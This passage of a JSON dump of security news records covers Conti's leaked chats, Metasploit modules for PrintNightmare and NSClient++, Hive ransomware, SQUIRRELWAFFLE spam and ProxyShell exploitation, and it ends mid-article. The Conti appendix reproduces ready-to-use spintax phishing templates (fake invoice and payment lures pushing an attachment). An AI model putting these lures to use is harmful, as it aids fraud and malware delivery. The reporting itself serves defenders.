vulnerabilities\n\nCVE-2017-0143, CVE-2017-0144, CVE-2017-0145, CVE-2017-0146 (MS17-010; EternalBlue/EternalSynergy/EternalChampion)\n\nCVE-2020-1472 (ZeroLogon)\n\nCVE-2021-34527 (PrintNightmare)\n\nCVE-2021-44228 (Log4Shell)\n\nCVE-2021-34473, CVE-2021-34523, CVE-2021-31207 (ProxyShell/ProxyLogon)\n\n## Appendix B \u2013 Phishing templates\n\n{Greetings|Hello|Good afternoon|Hi|Good day|Greeting|Good morning|Good evening}! \n{Here|Right here|In this letter|With this letter} we {send|direct} you {all the|all the necessary|the most important} {documentation|papers|documents|records} {regarding|concerning|relating to} your {payment|deposit payment|last payment} {#|\u2116|No. }\u041d\u041e\u041c\u0415\u0420 \u041f\u041b\u0410\u0422\u0415\u0416\u0410, right {as we|as we have} {discussed|revealed} {not so long ago|not too long ago|recently|just recently|not long ago}. Please {review the|check the|take a look at} \u0430ll {necessary|required|important} {information|data} in the {file attached|attached file}. \n\u0422: {Payment|Deposit payment} {invoice|receipt} {#|\u2116|No. }\u041d\u041e\u041c\u0415\u0420 \u0418\u041d\u0412\u041e\u0419\u0421\u0410 {prepared|formed} \nD: {payment|deposit|dep|paym}_{info|information|data}\n\n{Hello|Greetings|Greetings to you|Good evening|Good morning|Good day|Good afternoon}{!|,|.|} \nYour {order|purchase order|online order} was {successfully|correctly|timely} {paid|compensated|covered} by you {yesterday|today|recently}. Your {documentation|docs|papers} and {bank check|receipt|paycheck} {can be found|are listed} in the {attached file|file attached}. \nT: {Invoice|Given invoice|Bill} {we|we have|we\u2019ve} {sent|mailed|delivered} to you {is paid|is covered|is processed}. \nD: {Purchase order|Order} {verification|approval}\n\n{Hello|Greetings|Greetings to you|Good evening|Good morning|Good day|Good afternoon}{!|,|.|} \n{We are contacting you to|This is to|This mail is to} {notify|remind} you {about|regarding} your {debt|unprocessed payment} for {our last|the recent|our recent} {contract|agreement}. All {compensation|payment} {data|information}, {agreement|contract} and prepared legal {documents|documentation} {can be found|are located} in the {file attached|attached file}. \nT: {Missing|Additional} payment {information|details|info} reminder \nD: {Contract|Agreement} 2815/2 {case|claim}\n\n{Hello|Greetings|Greetings to you|Good evening|Good morning|Good day|Good afternoon}{!|,|.|} \n{Your payment|Your advance payment|Your obligatory payment|Payment you sent|Payment you made} was {successfully|correctly|timely|properly} {achieved|accomplished|approved|affirmed|received|obtained|collected|processed}. All {required documentation|necessary documents|important documentation|documents you need|details that can be important|essential documents} {can be found|you can find} in the {attached file|file attached}. \nT: {Invoicing|Invoice|Agreement|Contract|Payment} {info|data|information|details} \nD: {Receipt|Bill} {id|ID|Number|number|No.|No.|No|#|##} 3212-inv8\n\n{Greetings|Hello|Good day|Good afternoon}{!|,|} \n{Thank you for|We are thankful for|We are grateful for|Many thanks for} {your|your recent} {on-line order|purchase order|order}. {We|Our financiers have|Our team has|We have|Our shop has} {received|collected|processed|checked} your {payment|advance payment|money transfer|funds transfer} \u041d\u041e\u041c\u0415\u0420 \u041f\u0415\u0420\u0415\u0412\u041e\u0414\u0410. Now we {are and ready to|begin to} {pack|prepare|compose} your {shipment|order|box}. Your {parcel|packet|shipment|box} {will|is going to|would} {arrive|be delivered} to {you|your residence} within {4|5|6|four|five|six} {days|business days}. \n{Total|Full|Whole} {order|purchase|payment} sum: \u0421\u0423\u041c\u041c\u0410 \nYou {can find|will find} {all|full} {relative information|order info|order and payment details} and your {receipt|check} \u041d\u041e\u041c\u0415\u0420 \u0427\u0415\u041a\u0410 {in|in the} {attached file|file attached}. \n{Thank you!|Have a nice day!} \n\u0422\u0415\u041c\u042b: Your {order|purchase|on-line order|last order} \u041d\u041e\u041c\u0415\u0420 \u0417\u0410\u041a\u0410\u0417\u0410 payment {processed|obtained|received} \n\u0410\u0422\u0422\u0410\u0427\u0418: \nord_conf \nfull.details \ncompl_ord_7847 \nbuyer_auth_doc \ninfo_summr \ncustomer_docs \nspec-ed_info\n\n \n_**Additional reading**_\n\n * _[Russia/Ukraine Conflict: What Is Rapid7 Doing to Protect My Organization?](<https://www.rapid7.com/blog/post/2022/02/25/russia-ukraine-conflict-what-is-rapid7-doing-to-protect-my-organization/>)_\n * _[Staying Secure in a Global Cyber Conflict](<https://www.rapid7.com/blog/post/2022/02/25/russia-ukraine-staying-secure-in-a-global-cyber-conflict/>)_\n * _[Prudent Cybersecurity Preparation for the Potential Russia-Ukraine Conflict](<https://www.rapid7.com/blog/post/2022/02/15/prudent-cybersecurity-preparation-for-the-potential-russia-ukraine-conflict/>)_\n\n#### NEVER MISS A BLOG\n\nGet the latest stories, expertise, and news about security today.\n\nSubscribe", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2022-03-01T19:15:58", "type": "rapid7blog", "title": "Conti Ransomware Group Internal Chats Leaked Over Russia-Ukraine Conflict", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-0143", "CVE-2017-0144", "CVE-2017-0145", "CVE-2017-0146", "CVE-2020-1472", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-34527", "CVE-2021-44228"], "modified": "2022-03-01T19:15:58", "id": "RAPID7BLOG:24E0BE5176F6D3963E1824AD4A55019E", "href": "https://blog.rapid7.com/2022/03/01/conti-ransomware-group-internal-chats-leaked-over-russia-ukraine-conflict/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-07-09T18:55:38", "description": "## PrintNightmare\n\n![Metasploit Wrap-up](https://blog.rapid7.com/content/images/2021/07/metasploit-blg-2-small-1.png)\n\nRapid7 security researchers [Christophe De La Fuente](<https://github.com/cdelafuente-r7>), and [Spencer McIntyre](<https://github.com/zeroSteiner>), have added a new module for [CVE-2021-34527](<https://attackerkb.com/topics/MIHLz4sY3s/cve-2021-34527-printnightmare?referrer=blog>), dubbed PrintNightmare. This module builds upon the research of Xuefeng Li, Zhang Yunhai, Zhiniang Peng, Zhipeng Huo, and cube0x0. The module triggers a remote DLL load by abusing a vulnerability in the Print Spooler service. The print spooler service can be abused by an authenticated remote attacker to load a DLL through a crafted DCERPC request using the MS-RPRN vector, resulting in remote code execution as `NT AUTHORITY\\SYSTEM`.\n\nBecause Metasploit's SMB server doesn't support SMB3 (yet), it's highly recommended to use an external SMB server like Samba that supports SMB3. The [Metasploit module documentation](<https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/auxiliary/admin/dcerpc/cve_2021_1675_printnightmare.md>) details the process of generating a payload DLL and using this module to load it.\n\n[CVE-2021-34527](<https://attackerkb.com/topics/MIHLz4sY3s/cve-2021-34527-printnightmare?referrer=blog>) is being actively exploited in the wild. For more information and a full timeline, see [Rapid7\u2019s blog on PrintNightmare](<https://www.rapid7.com/blog/post/2021/06/30/cve-2021-1675-printnightmare-patch-does-not-remediate-vulnerability/>)!\n\n## NSClient++\n\nGreat work by community contributor [Yann Castel](<https://github.com/Hakyac>) on their new NSClient++ module. This module allows an attacker with an unprivileged windows account to gain admin access on a windows system and start a shell.\n\nFor this module to work, both the web interface of NSClient++ and the `ExternalScripts` feature should be enabled. You must also know where the NSClient config file is as it is used to read the admin password which is stored in clear text.\n\n## New module content (2)\n\n * [Print Spooler Remote DLL Injection](<https://github.com/rapid7/metasploit-framework/pull/15385>) by Christophe De La Fuente, Piotr Madej, Spencer McIntyre, Xuefeng Li, Zhang Yunhai, Zhiniang Peng, Zhipeng Huo, and cube0x0, which exploits [CVE-2021-34527](<https://attackerkb.com/topics/MIHLz4sY3s/cve-2021-34527-printnightmare?referrer=blog>) \\- A new module has been added to Metasploit to exploit PrintNightmare, aka CVE-2021-1675/CVE-2021-34527, a Remote Code Execution vulnerability in the Print Spooler service of Windows. Successful exploitation results in the ability to load and execute an attacker controlled DLL as the `SYSTEM` user.\n\n * [NSClient++ 0.5.2.35 - Privilege escalation](<https://github.com/rapid7/metasploit-framework/pull/15318>) by BZYO, Yann Castel and kindredsec - This post module allows an attacker to perform a privilege escalation on a machine running a vulnerable version of NSClient++. The module retrieves the admin password from a config file at a customizable path, and so long as NSClient++ has both the web interface and ExternalScriptsfeature enabled, gains a SYSTEM shell.\n\n## Enhancements and features\n\n * [#15366](<https://github.com/rapid7/metasploit-framework/pull/15366>) from [pingport80](<https://github.com/pingport80>) \\- This updates how the msfconsole's history file is handled. It adds a size limitation so the number of commands does not grow indefinitely and fixes a locking condition that would occur when the history file had grown exceptionally large (~400,000 lines or more).\n\n## Bugs fixed\n\n * [#15320](<https://github.com/rapid7/metasploit-framework/pull/15320>) from [agalway-r7](<https://github.com/agalway-r7>) \\- A bug has been fixed in the `read_file` method of `lib/msf/core/post/file.rb` that prevented PowerShell sessions from being able to use the `read_file()` method. PowerShell sessions should now be able to use this method to read files from the target system.\n * [#15371](<https://github.com/rapid7/metasploit-framework/pull/15371>) from [bcoles](<https://github.com/bcoles>) \\- This fixes an issue in the `apport_abrt_chroot_priv_esc` module where if the `apport-cli` binary was not in the PATH the check method would fail.\n\n## Get it\n\nAs always, you can update to the latest Metasploit Framework with `msfupdate` and you can get more details on the changes since the last blog post from\n\nGitHub:\n\n * [Pull Requests 6.0.51...6.0.52](<https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222021-06-30T14%3A00%3A49-05%3A00..2021-07-08T16%3A19%3A37%2B01%3A00%22>)\n * [Full diff 6.0.51...6.0.52](<https://github.com/rapid7/metasploit-framework/compare/6.0.51...6.0.52>)\n\nIf you are a `git` user, you can clone the [Metasploit Framework repo](<https://github.com/rapid7/metasploit-framework>) (master branch) for the latest.\n\nTo install fresh without using git, you can use the open-source-only [Nightly Installers](<https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers>) or the\n\n[binary installers](<https://www.rapid7.com/products/metasploit/download.jsp>) (which also include the commercial edition).", "cvss3": {}, "published": "2021-07-09T17:53:41", "type": "rapid7blog", "title": "Metasploit Wrap-up", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-07-09T17:53:41", "id": "RAPID7BLOG:8DADA7B6B3B1BA6ED3D6EDBA37A79204", "href": "https://blog.rapid7.com/2021/07/09/metasploit-wrap-up-120/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "thn": [{"lastseen": "2022-05-09T12:39:27", "description": "[![Hive Ransomware](https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEgG4LpJKxqUO2-qxnPcHk7kZshWlpcUJf4apWnuuu8g9A2r0wcvybcwpf7lOoNA63j4bRBhFvjSOcGs6VNIFsmjXTIplZEkjAFtBn3cM6NGJ0rIS2GGGAKNgL2WQIm_-fjXlryklUzygBckkBMBoeHlXhheLR9onLzGHVYPSgJnrJE7GbCsqTLo57hD/s728-e1000/hive-ransomware.jpg)](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEgG4LpJKxqUO2-qxnPcHk7kZshWlpcUJf4apWnuuu8g9A2r0wcvybcwpf7lOoNA63j4bRBhFvjSOcGs6VNIFsmjXTIplZEkjAFtBn3cM6NGJ0rIS2GGGAKNgL2WQIm_-fjXlryklUzygBckkBMBoeHlXhheLR9onLzGHVYPSgJnrJE7GbCsqTLo57hD/s728-e100/hive-ransomware.jpg>)\n\nA recent Hive ransomware attack carried out by an affiliate involved the exploitation of \"ProxyShell\" vulnerabilities in the Microsoft Exchange Server that were disclosed last year to encrypt an unnamed customer's network.\n\n\"The actor managed to achieve its malicious goals and encrypt the environment in less than 72 hours from the initial compromise,\" Varonis security researcher, Nadav Ovadia, [said](<https://www.varonis.com/blog/hive-ransomware-analysis>) in a post-mortem analysis of the incident. \n\nHive, which was [first observed](<https://thehackernews.com/2022/02/master-key-for-hive-ransomware.html>) in June 2021, follows the lucrative ransomware-as-a-service (RaaS) scheme adopted by other cybercriminal groups in recent years, enabling affiliates to deploy the file-encrypting malware after gaining a foothold into their victims' networks.\n\n[ProxyShell](<https://thehackernews.com/2021/08/hackers-actively-searching-for.html>) \u2014 tracked as CVE-2021-31207, CVE-2021-34523, and CVE-2021-34473 \u2014 involves a combination of security feature bypass, privilege escalation, and remote code execution in the Microsoft Exchange Server, effectively granting the attacker the ability to execute arbitrary code on affected servers.\n\nThe issues were addressed by Microsoft as part of its Patch Tuesday updates for April and May 2021.\n\nIn this case, successful exploitation of the flaws allowed the adversary to deploy web shells on the compromised server, using them to run malicious PowerShell code with SYSTEM privileges to create a new backdoor administrator user, hijack the domain admin account, and perform lateral movement.\n\n[![Hive Ransomware](https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEgbU5YaGjiHhZvFPL5Fqh7rHbVldX6X-unk-Mq6dP0icasfzkogYQnkRDy9ZUNWr3oca2oh6FGdjSzMm5uyXe1DLzwsty4H8hXGZia0azIu3Q24ZyBwemMQXMvu5dpzZQn-9MUl_WWAG5opQBaoXlyg6Esg2eBVWtdYcBrz5l7yZPDtCD1v9nzKF-D8/s728-e1000/hive.jpg)](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEgbU5YaGjiHhZvFPL5Fqh7rHbVldX6X-unk-Mq6dP0icasfzkogYQnkRDy9ZUNWr3oca2oh6FGdjSzMm5uyXe1DLzwsty4H8hXGZia0azIu3Q24ZyBwemMQXMvu5dpzZQn-9MUl_WWAG5opQBaoXlyg6Esg2eBVWtdYcBrz5l7yZPDtCD1v9nzKF-D8/s728-e100/hive.jpg>)\n\nThe web shells used in the attack are said to have been sourced from a [public git repository](<https://github.com/ThePacketBender/webshells>) and given filenames containing a random mix of characters to evade detection, Ovadia said. Also executed was an additional obfuscated PowerShell script that's part of the Cobalt Strike framework.\n\nFrom there, the threat actor moved to scan the network for valuable files, before proceeding to deploy the Golang ransomware executable (named \"Windows.exe\") to complete the encryption process and display the ransom note to the victim.\n\nOther operations carried out by the malware include deleting shadow copies, turning off security products, and clearing Windows event logs to avoid detection, prevent recovery, and ensure that the encryption happens without any hiccup.\n\nIf anything, the findings are yet another indicator that patching for known vulnerabilities is key to thwarting cyberattacks and other nefarious activities.\n\n\"Ransomware attacks have grown significantly over the past years and remain the preferred method of threat actors aiming to maximize profits,\" Ovadia said. \"It may potentially harm an organization's reputation, disrupt regular operations and lead to temporary, and possibly permanent, loss of sensitive data.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-21T10:00:00", "type": "thn", "title": "New Incident Report Reveals How Hive Ransomware Targets Organizations", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2022-04-21T10:00:58", "id": "THN:84E53E1CA489F43A3D68EC1B18D6C2E2", "href": "https://thehackernews.com/2022/04/new-incident-report-reveals-how-hive.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:38:05", "description": "[![](https://thehackernews.com/new-images/img/a/AVvXsEjiGzDP_Q8TgakrIFP6H8c0NlSHHH4ztdEtesv8G-AaS-LvfiauO6JgcrFpPKfplpRuqYssvepWzyhQaLMIPqPzyt00vE0kNEL3qEg1k1YRQpWZouKa_km8jD-kuKbNBXugV_MhYndYW41kM6o2z77T4oOGQlDGhGk-HA0tZfdol-RO_fCE6o7N54uW)](<https://thehackernews.com/new-images/img/a/AVvXsEjiGzDP_Q8TgakrIFP6H8c0NlSHHH4ztdEtesv8G-AaS-LvfiauO6JgcrFpPKfplpRuqYssvepWzyhQaLMIPqPzyt00vE0kNEL3qEg1k1YRQpWZouKa_km8jD-kuKbNBXugV_MhYndYW41kM6o2z77T4oOGQlDGhGk-HA0tZfdol-RO_fCE6o7N54uW>)\n\nThreat actors are exploiting ProxyLogon and ProxyShell exploits in unpatched Microsoft Exchange Servers as part of an ongoing spam campaign that leverages stolen email chains to bypass security software and deploy malware on vulnerable systems.\n\nThe findings come from Trend Micro following an investigation into a number of intrusions in the Middle East that culminated in the distribution of a never-before-seen loader dubbed SQUIRRELWAFFLE. First publicly [documented](<https://thehackernews.com/2021/10/hackers-using-squirrelwaffle-loader-to.html>) by Cisco Talos, the attacks are believed to have commenced in mid-September 2021 via laced Microsoft Office documents.\n\n\"It is known for sending its malicious emails as replies to pre-existing email chains, a tactic that lowers a victim's guard against malicious activities,\" researchers Mohamed Fahmy, Sherif Magdy, Abdelrhman Sharshar [said](<https://www.trendmicro.com/en_us/research/21/k/Squirrelwaffle-Exploits-ProxyShell-and-ProxyLogon-to-Hijack-Email-Chains.html>) in a report published last week. \"To be able to pull this off, we believe it involved the use of a chain of both ProxyLogon and ProxyShell exploits.\"\n\n[ProxyLogon](<https://thehackernews.com/2021/03/urgent-4-actively-exploited-0-day-flaws.html>) and [ProxyShell](<https://thehackernews.com/2021/08/microsoft-exchange-under-attack-with.html>) refer to a collection of flaws in Microsoft Exchange Servers that could enable a threat actor to elevate privileges and remotely execute arbitrary code, effectively granting the ability to take control of the vulnerable machines. While the ProxyLogon flaws were addressed in March, the ProxyShell bugs were patched in a series of updates released in May and July.\n\n[![](https://thehackernews.com/new-images/img/a/AVvXsEhYwBTFRq5MuslNIXJAtZNZ-q9Ik0Wyu_z6HVG8loZsBaeJR_tXRLvm18OZvIJYeeOyYp0DVHZdMg8sdqe9H3ePEot8dMGuNuC25YWuyp09kuYsm_qh2nU_3dlFK7X2kVXn-DYmtklqChAj_2BOpas4TFiWcbPR3PtoX5RKukcpGn0sd1S8Ubdqo1bu)](<https://thehackernews.com/new-images/img/a/AVvXsEhYwBTFRq5MuslNIXJAtZNZ-q9Ik0Wyu_z6HVG8loZsBaeJR_tXRLvm18OZvIJYeeOyYp0DVHZdMg8sdqe9H3ePEot8dMGuNuC25YWuyp09kuYsm_qh2nU_3dlFK7X2kVXn-DYmtklqChAj_2BOpas4TFiWcbPR3PtoX5RKukcpGn0sd1S8Ubdqo1bu>) \n--- \nDLL infection flow \n \nTrend Micro said it observed the use of public exploits for CVE-2021-26855 (ProxyLogon), CVE-2021-34473, and CVE-2021-34523 (ProxyShell) on three of the Exchange servers that were compromised in different intrusions, using the access to hijack legitimate email threads and send malicious spam messages as replies, thereby increasing the likelihood that unsuspecting recipients will open the emails.\n\n\"Delivering the malicious spam using this technique to reach all the internal domain users will decrease the possibility of detecting or stopping the attack, as the mail getaways will not be able to filter or quarantine any of these internal emails,\" the researchers said, adding the attackers behind the operation did not carry out lateral movement or install additional malware so as to stay under the radar and avoid triggering any alerts.\n\nThe attack chain involves rogue email messages containing a link that, when clicked, drops a Microsoft Excel or Word file. Opening the document, in turn, prompts the recipient to enable macros, ultimately leading to the download and execution of the SQUIRRELWAFFLE malware loader, which acts as a medium to fetch final-stage payloads such as Cobalt Strike and Qbot.\n\nThe development marks a new escalation in phishing campaigns where a threat actor has breached corporate Microsoft Exchange email servers to gain unauthorized access to their internal mail systems and distribute malicious emails in an attempt to infect users with malware.\n\n\"SQUIRRELWAFFLE campaigns should make users wary of the different tactics used to mask malicious emails and files,\" the researchers concluded. \"Emails that come from trusted contacts may not be enough of an indicator that whatever link or file included in the email is safe.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-22T11:47:00", "type": "thn", "title": "Hackers Exploiting ProxyLogon and ProxyShell Flaws in Spam Campaigns", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-11-23T07:33:36", "id": "THN:0D80EEB03C07D557AA62E071C7A7C619", "href": "https://thehackernews.com/2021/11/hackers-exploiting-proxylogon-and.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:37:24", "description": "[![ProxyShell Flaws](https://thehackernews.com/new-images/img/a/AVvXsEihM5iYK8V59Az6V_QU4QfgIeRF_0hGVdMPzkolUAVIW-fNuFPicRQP8GVCKVzA_FETzCTUZXWBI67kH6LRZTLGCO5eI9UumwAso17F_kIigeX8Y7Z41AMwAPgq1iysoZkTTX-VU5eO4nCRvjFq57tq6FcnFZd3DBb3A8kWOZ253GJWm-fH0WFE7Fna)](<https://thehackernews.com/new-images/img/a/AVvXsEihM5iYK8V59Az6V_QU4QfgIeRF_0hGVdMPzkolUAVIW-fNuFPicRQP8GVCKVzA_FETzCTUZXWBI67kH6LRZTLGCO5eI9UumwAso17F_kIigeX8Y7Z41AMwAPgq1iysoZkTTX-VU5eO4nCRvjFq57tq6FcnFZd3DBb3A8kWOZ253GJWm-fH0WFE7Fna>)\n\nThe U.S. Cybersecurity and Infrastructure Security Agency is warning of active exploitation attempts that leverage the latest line of \"**ProxyShell**\" Microsoft Exchange vulnerabilities that were patched earlier this May, including deploying LockFile ransomware on compromised systems.\n\nTracked as CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207, the vulnerabilities enable adversaries to bypass ACL controls, elevate privileges on the Exchange PowerShell backend, effectively permitting the attacker to perform unauthenticated, remote code execution. While the former two were addressed by Microsoft on April 13, a patch for CVE-2021-31207 was shipped as part of the Windows maker's May Patch Tuesday updates.\n\n\"An attacker exploiting these vulnerabilities could execute arbitrary code on a vulnerable machine,\" CISA [said](<https://us-cert.cisa.gov/ncas/current-activity/2021/08/21/urgent-protect-against-active-exploitation-proxyshell>).\n\nThe development comes a little over a week after cybersecurity researchers sounded the alarm on [opportunistic scanning and exploitation](<https://thehackernews.com/2021/08/hackers-actively-searching-for.html>) of unpatched Exchange servers by taking advantage of the ProxyShell attack chain.\n\n[![ProxyShell Flaws](https://thehackernews.com/new-images/img/a/AVvXsEi9pcvxkZCqcBcriArdPtNn0AWuIafJEeUPlEHsu4z-oKwZf3gzsprTbCyyBAmMBzU-gFoDqTD8zWP4vrlEdDv_w5I3I5iSFyAS8RZ2p_jjRO0sOXbKoN31TMsPPfb0BXXZt8m7aM2SAtTFrkZ3hdSN1FSLaynBoGiYDkl78s_i0T5Kva4eudH21Jzf)](<https://thehackernews.com/new-images/img/a/AVvXsEi9pcvxkZCqcBcriArdPtNn0AWuIafJEeUPlEHsu4z-oKwZf3gzsprTbCyyBAmMBzU-gFoDqTD8zWP4vrlEdDv_w5I3I5iSFyAS8RZ2p_jjRO0sOXbKoN31TMsPPfb0BXXZt8m7aM2SAtTFrkZ3hdSN1FSLaynBoGiYDkl78s_i0T5Kva4eudH21Jzf>) \n--- \nImage Source: [Huntress Labs](<https://www.huntress.com/blog/rapid-response-microsoft-exchange-servers-still-vulnerable-to-proxyshell-exploit>) \n \nOriginally demonstrated at the [Pwn2Own hacking contest](<https://thehackernews.com/2021/04/windows-ubuntu-zoom-safari-ms-exchange.html>) in April this year, ProxyShell is part of a broader trio of exploit chains discovered by DEVCORE security researcher Orange Tsai that includes ProxyLogon and ProxyOracle, the latter of which concerns two remote code execution flaws that could be employed to recover a user's password in plaintext format.\n\n\"They're backdooring boxes with webshells that drop other webshells and also executables that periodically call out,\" researcher Kevin Beaumont [noted](<https://twitter.com/GossiTheDog/status/1425844380376735746>) last week.\n\nNow according to researchers from Huntress Labs, at least [five distinct styles of web shells](<https://www.huntress.com/blog/rapid-response-microsoft-exchange-servers-still-vulnerable-to-proxyshell-exploit>) have been observed as deployed to vulnerable Microsoft Exchange servers, with over over 100 incidents reported related to the exploit between August 17 and 18. Web shells grant the attackers remote access to the compromised servers, but it isn't clear exactly what the goals are or the extent to which all the flaws were used.\n\nMore than 140 web shells have been detected across no fewer than 1,900 unpatched Exchanger servers to date, Huntress Labs CEO Kyle Hanslovan [tweeted](<https://twitter.com/KyleHanslovan/status/1428804893423382532>), adding \"impacted [organizations] thus far include building manufacturing, seafood processors, industrial machinery, auto repair shops, a small residential airport and more.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-08-22T09:51:00", "type": "thn", "title": "WARNING: Microsoft Exchange Under Attack With ProxyShell Flaws", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-08-23T13:28:25", "id": "THN:5BE77895D84D1FB816C73BB1661CE8EB", "href": "https://thehackernews.com/2021/08/microsoft-exchange-under-attack-with.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:20", "description": "[![Israeli Hackers](https://thehackernews.com/images/-lnmWNBrSE9k/YPWhrFsftuI/AAAAAAAA4Tc/mV6atejnTU8JKQ98Latgx1poZRDDLxvXgCLcBGAsYHQ/s728-e1000/cyber.jpg)](<https://thehackernews.com/images/-lnmWNBrSE9k/YPWhrFsftuI/AAAAAAAA4Tc/mV6atejnTU8JKQ98Latgx1poZRDDLxvXgCLcBGAsYHQ/s0/cyber.jpg>)\n\nTwo of the zero-day Windows flaws rectified by Microsoft as part of its Patch Tuesday update earlier this week were weaponized by an Israel-based company called Candiru in a series of \"precision attacks\" to hack more than 100 journalists, academics, activists, and political dissidents globally.\n\nThe spyware vendor was also formally identified as the commercial surveillance company that Google's Threat Analysis Group (TAG) revealed as exploiting multiple zero-day vulnerabilities in Chrome browser to target victims located in Armenia, according to a report published by the University of Toronto's Citizen 